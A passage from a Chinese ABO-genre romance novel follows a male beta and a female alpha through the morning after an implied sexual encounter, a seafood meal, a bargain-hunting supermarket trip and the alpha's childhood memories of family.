汗湿的凌乱乌发贴在靠背上,在齐锦雪的余光中,微微跳动着。
池絮算是领教了alpha和beta的体能差异。
他累晕过去前,齐锦雪竟然还兴致未褪。
……
池絮醒来,依旧浑身酸疼。
肚子爆辣,仿佛头天晚上被阿飘夺舍,急头白脸地灌下一锅川香重麻重辣的火锅。
唯一比那晚好一点的是,或许因为这次他稍微做了准备,没有受伤。
不过,也有可能是习惯了。
一回生二回熟嘛。
床单已经换成了棉质,池絮心想,难怪他能安稳睡到大白天。
他现在心情很复杂,明明不是第一次,但怅然若失。
他的贞洁是真没有了。
在他自己亲眼的见证下。
但是……
那算是贞洁吗?
池絮又有点迷茫。
门从外面推开,刺眼的阳光涌进来。
池絮惊坐起来。
“哎哟——”他扶着泛酸的腰,“都中午了?”
齐锦雪站在门口,嗯了一声。
“你还好吗?”
平淡的语气,好像只是跟同居的室友打个招呼。
恰到好处地消解了池絮心里的扭捏。
“我、我没事。”
池絮站起来,想向alpha证明自己也不是孬种。
噗通——
朝着门口的方向,池絮扑倒在地,一串冰凉沿着脚踝滑下。
意识到是什么,他趴在地上,脑袋埋在手臂里,不想抬起来了。
始作俑者就在门口,观赏了全程,收获了电影结尾时,自不量力的男beta爆出的一枚滑稽彩蛋。
这一刻,他是气恼齐锦雪的。
后悔夸下海口,向alpha提出给她帮助。
他只是个beta啊。
*
餐桌上摆着枸杞炖海参汤、清蒸生蚝、蒜蓉粉丝虾等等。
看到这些补肾的菜,池絮的筷子,夹不是,不夹也不是。
最终还是败给饥肠辘辘,大口吃起来。
“下午你要多休息一下吗?”
齐锦雪坐在沙发上,倒是很神清气爽。
池絮咽下最后一口饭,吃的又饱又舒服。
他不想休息的。
无奈身体不支持他的决定。
“我稍微睡一下好了。”他说。
桌上散着几枚生蚝壳,池絮压下去的自尊心,悄悄冒出头。
“为什么……吃这个?”
从齐锦雪的角度看去,男beta侧着脸,阳光斜照而来,眼底泛起晶莹的水色。
他压低后颈,难堪的模样。
齐锦雪不记得她有给他难堪。
或许是错觉。
“什么?”后半句她没有听清。
池絮抬起头,鼓起勇气,“为什么吃这些……海鲜?”
“你不喜欢?”齐锦雪目光扫向桌上的残骸,陈述事实,“你不是都吃完了。”
这才是池絮最无法解释的!
他悲愤道,“我饿了。”
“昨晚你说的想吃,你忘了?”她说。
沉吟片刻,齐锦雪明白过来,“那种程度,就造成你暂时性失忆?”
池絮全都想起来了。
想起来昨晚他大脑空白的一瞬间,不受控制的胡言乱语。
池絮溜回房间,彻底不想说一个字。
说是自取其辱都不为过。
男人背影仓皇,踉踉跄跄回了房间。
砰地关上房门。
声音传出几分气急败坏的意思。
齐锦雪不禁微扬起唇角。
他不是beta么,怎么这么敏感。
她已经很克制了。
齐锦雪收回目光,翻着书页。
池絮一觉睡到天色擦黑。
虽然很没有面子,但是充足的睡眠,的确极大地修复了他的精力。
他又成了生龙活虎的一条好汉。
出来时,齐锦雪还坐在落地窗前。
复古式的落地灯,照着昏黄的灯光撒下,如同落日余晖为她停留,给她镀上一层朦胧的光晕。
她好像在那里坐了很久,又好像才坐下没一会。
看到池絮,齐锦雪侧过脸,温和笑道,“你醒了?”
“接受治疗”后的齐锦雪,有一些,不,不止一些的温柔。
池絮不敢多看,潜意识觉得很不该。
他嗯了一声,倒了杯水,咕咚咕咚喝掉。
擦擦嘴
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巴,打开冰箱,想看看还有什么能吃的。
冰箱里只有两枚鸡蛋,一捆小青菜,三颗西红柿,不足以做一顿晚饭。
本打算今天去补充冰箱来着。
“齐锦雪,家里没有菜了,你饿吗?来得及我先去一趟超市吗?”
池絮从厨房探出脑袋。
时间还早,他快去快回,晚饭还来得及。
齐锦雪道,“你很饿?”
“我还好,中午吃的太多了,还不是很饿。但是你应该饿了吧。”
“我也不饿,我跟你一起去吧。”
齐锦雪放下书,回房间换衣服。
池絮高兴道,“你愿意和我一起去?那太好了。”
齐锦雪家里的菜都是配好了,定期配送上门。
她这种大忙人,做饭的次数都屈指可数,更没有很多时间和兴趣去买菜、择菜。
直到池絮这个闲人住进来。
他喜欢亲自挑菜,制定菜单,渐渐地,齐锦雪就不让人送上门了。
平时都是他一个人去逛商场,这次齐锦雪愿意和他一起去,有些出乎意料。
时间很充裕,又有人手,还能另外置办点家里缺的东西。
商超里。
齐锦雪推着购物车,池絮在货架前挑挑拣拣。
商品的优惠和商超的活动套路没人比池絮更熟悉。
半小时过去。
池絮从一堆折扣品中,精准挑出商超活动里,比网上买还便宜得多的引流品。
怒省下手指头都能数清楚的五块钱。
这个时间,齐锦雪在家里能创造的价值——
绝不是五块钱。
她不禁困惑,一小时前同意来商超的自己到底在想什么。
仅仅好奇男人每次在商超能呆一个多小时的乐趣所在,而放下手头的工作,未免冲动决策。
池絮买到优惠,得意不已,朝齐锦雪炫耀道,“我就知道这个满减有套路,绝不是表面看起来那么简单!”
“果然,让我发现了漏洞,又省了十块!”
他把凑好单的东西一一放进购物车,地板清洁液、纸巾、罐头……
他兴冲冲和齐锦雪说起自己的发现。
男人笑容满足,透着傻气,兴奋地叽喳不停。
很吵。
齐锦雪却自打脸地产生不虚此行的莫名念头。
靠近池絮会受他磁场影响,智商下降,是很早就认识的道理。
偌大的商场,两人才走过门口没几步。
池絮意识到自己的磨蹭,不好意思道:“逛超市比较无聊吧,要不你先回去?”
齐锦雪淡淡道:“我没什么事。”
前方货架,洗发水正在做活动。
池絮的视线又黏在大促牌子上挪不动了。
“那我再买两瓶洗发水?你浴室里的也用完了。”
“好。”
他挑出两瓶合适的,问:“这两种味道你比较喜欢哪个?”
齐锦雪扫了一眼,“哪个都行,选你喜欢的吧。”
“两种我都比较喜欢,”池絮嘿嘿笑了笑:“要不两种都买,大促很实惠,其他时间不一定能买到。”
“你用这个,我用这个。”他拿的是同一产品的两种味道。
他已经算得清楚,买两瓶最划算。
但花买两瓶的钱,买到两种味道,更是划算中的至尊级。
齐锦雪说:“买一种味道就够了。”
“家里味道太杂,猫不喜欢。”
“狗也不喜欢。”
“还有这种事?”池絮很稀奇。
齐锦雪说的一本正经,池絮只得作罢,买了两瓶同样味道的洗发水。
亏了亏了。
要在下一个优惠里补回来!
他奔向下一个货架。
两人逛了将近两小时,从小到大,齐锦雪从来没在商超逛过这么久。
前方,池絮比较着两种特价产品,面露纠结,一会看这个,一会看那个。
她的目光缓缓地落在他身上。
眼前浮现起多年前,还是孩子的她被母亲牵着,和商场中挑选衣服的一家三口,匆匆擦肩而过。
女人拿起两件裙子,给小孩子比划着,问男人女儿更适合哪件。
小孩子指着其中一件,男人指着另一件,女人又看上了第三件。
三人意见不和,吵吵闹闹起来,最后化成一团笑闹声。
她走得很远了,还很努力回头看。
母亲抱起她,告诫她,她的时间没必要浪费在这些琐事上。
但不久之后,她看到母亲陪父亲逛街、去游乐场、压马路……
浪费了许多时间在母亲所说的琐事上。
小时候,她也有过很多为什么。
后来不知从什么时候起,她开始冷眼旁观。
像今天这样边逛边买,商议着添置生活用品,新婚夫妻般温馨的家庭氛围。
到头来迷惑到的人到底是池絮,还是她自己呢。
手机屏幕亮起,是齐妍发来的信息。
齐妍:明天是你父亲的生日,回来一家人吃顿饭吧。
齐锦雪回:
知道了。